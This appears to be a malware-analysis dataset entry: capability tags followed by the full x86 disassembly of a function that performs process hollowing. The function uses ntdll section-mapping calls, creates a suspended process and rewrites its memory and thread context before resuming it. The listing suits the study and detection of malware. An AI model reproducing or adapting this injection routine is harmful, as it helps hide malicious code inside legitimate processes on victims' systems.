Function at 0x41803d
Capabilities:
Create process on windows
Create process suspended
Parse pe header
Resume thread
Terminate process
Use process replacement

Disassembly:
sub esp, 0x80
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor eax, eax
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push edx
pop ebp
push edi
mov edi, dword [esp + 0x94]
mov dword [esp + 0x34], ebp
mov dword [esp + 0x30], ecx
mov dword [esp + 0x1c], eax
push str.ZwCreateSection
push str.ntdll
mov dword [esp + 0x34], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
call esi
push eax
call ebx
push str.ZwMapViewOfSection
push str.ntdll
mov dword [0x472d90], eax
call esi
push eax
call ebx
push str.ZwUnmapViewOfSection
push str.ntdll
mov dword [0x472d84], eax
call esi
push eax
call ebx
push str.ZwClose
push str.ntdll
mov dword [0x472d88], eax
call esi
push eax
call ebx
cmp dword [0x472d84], 0
mov dword [0x472d8c], eax
je 0x4183ce
cmp dword [0x472d88], 0
je 0x4183ce
cmp dword [0x472d90], 0
je 0x4183ce
or eax, eax
je 0x4183ce
push 0x44
pop esi
push esi
xor ebx, ebx
lea eax, [esp + 0x4c]
push ebx
push eax
call fcn.00436dd0
add esp, 0xc
mov dword [esp + 0x48], esi
push 0x10
push ebx
push edi
call fcn.00436dd0
mov eax, 0x5a4d
add esp, 0xc
cmp word [ebp], ax
jne 0x4183ce
mov esi, dword [ebp + 0x3c]
add esi, ebp
cmp dword [esi], 0x4550
jne 0x4183ce
mov eax, dword [esi + 0x50]
push edi
mov dword [esp + 0x24], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], ebx
mov eax, dword [esi + 0x34]
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x4c]
push eax
push ebx
push ebx
push 4
push ebx
push ebx
push ebx
push dword [esp + 0x50]
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
or eax, eax
je 0x4183c8
push 4
push 0x1000
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
push ebx
mov dword [esp + 0x3c], ebx
mov dword [ebx], 0x10007
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x418392
lea eax, [esp + 0x3c]
push eax
push 4
lea eax, [esp + 0x34]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [edi]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x418392
push 0
push 0x8000000
push 0x40
lea eax, [esp + 0x4c]
push eax
push 0
push 0xf001f
lea eax, [esp + 0x30]
push eax
call dword [0x472d90]
test eax, eax
jne 0x418392
movzx eax, word [esi + 0x16]
not eax
and eax, 1
mov dword [esp + 0x24], eax
jne 0x41820f
mov eax, dword [esp + 0x28]
push eax
push dword [edi]
mov dword [esp + 0x18], eax
call dword [0x472d88]
push 0x40
sub ecx, ecx
lea eax, [esp + 0x24]
push ecx
push 1
push eax
push ecx
push ecx
push ecx
lea eax, [esp + 0x2c]
push eax
push dword [edi]
push dword [esp + 0x3c]
call dword [0x472d84]
or eax, eax
je 0x41827b
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push dword [esp + 0x18]
call dword [0x472d8c]
push 0
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ebx, dword [esp + 0x1c]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
inc ebx
push 0
mov dword [esp + 0x20], ebx
cmp ebx, 0x64
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
pop eax
jbe 0x41806a
jmp 0x4183ce
push 0x40
sub ecx, ecx
lea eax, [esp + 0x24]
push ecx
push 1
push eax
push ecx
push ecx
push ecx
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
push dword [esp + 0x3c]
call dword [0x472d84]
or eax, eax
jne 0x418392
cmp dword [esp + 0x24], eax
je 0x4182b5
mov eax, dword [esp + 0x10]
mov dword [esi + 0x34], eax
push dword [esi + 0x54]
push ebp
push dword [esp + 0x1c]
call fcn.00436850
and dword [esp + 0x3c], 0
sub ecx, ecx
mov eax, dword [ebp + 0x3c]
add esp, 0xc
cmp cx, word [esi + 6]
jae 0x418315
mov edi, dword [esp + 0x34]
add ebp, 0x10c
mov ebx, dword [esp + 0x30]
add ebp, eax
push dword [ebp - 4]
mov eax, dword [ebp]
add eax, edi
push eax
mov eax, dword [ebp - 8]
add eax, dword [esp + 0x1c]
push eax
call fcn.00436850
movzx eax, word [esi + 6]
lea ebp, [ebp + 0x28]
add esp, 0xc
inc ebx
cmp ebx, eax
jl 0x4182e5
mov edi, dword [esp + 0x94]
mov ebx, dword [esp + 0x38]
cmp dword [esp + 0x24], 0
mov ecx, dword [esp + 0x10]
je 0x41833e
mov eax, dword [esp + 0x28]
cmp eax, ecx
je 0x41833e
push 0
push ecx
mov ecx, dword [esp + 0x1c]
push 0
push eax
call fcn.00418451
mov ecx, dword [esp + 0x20]
add esp, 0x10
cmp dword [esp + 0x2c], ecx
je 0x418367
push 0
push 4
lea eax, [esp + 0x18]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [edi]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x418392
mov ecx, dword [esp + 0x10]
mov eax, dword [esi + 0x28]
add eax, ecx
push ebx
mov dword [ebx + 0xb0], eax
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
or eax, eax
je 0x418392
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x418392
mov al, 1
jmp 0x4183d0
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x472d88]
push dword [esp + 0x18]
call dword [0x472d8c]
push 0
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x4183ce
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x80
ret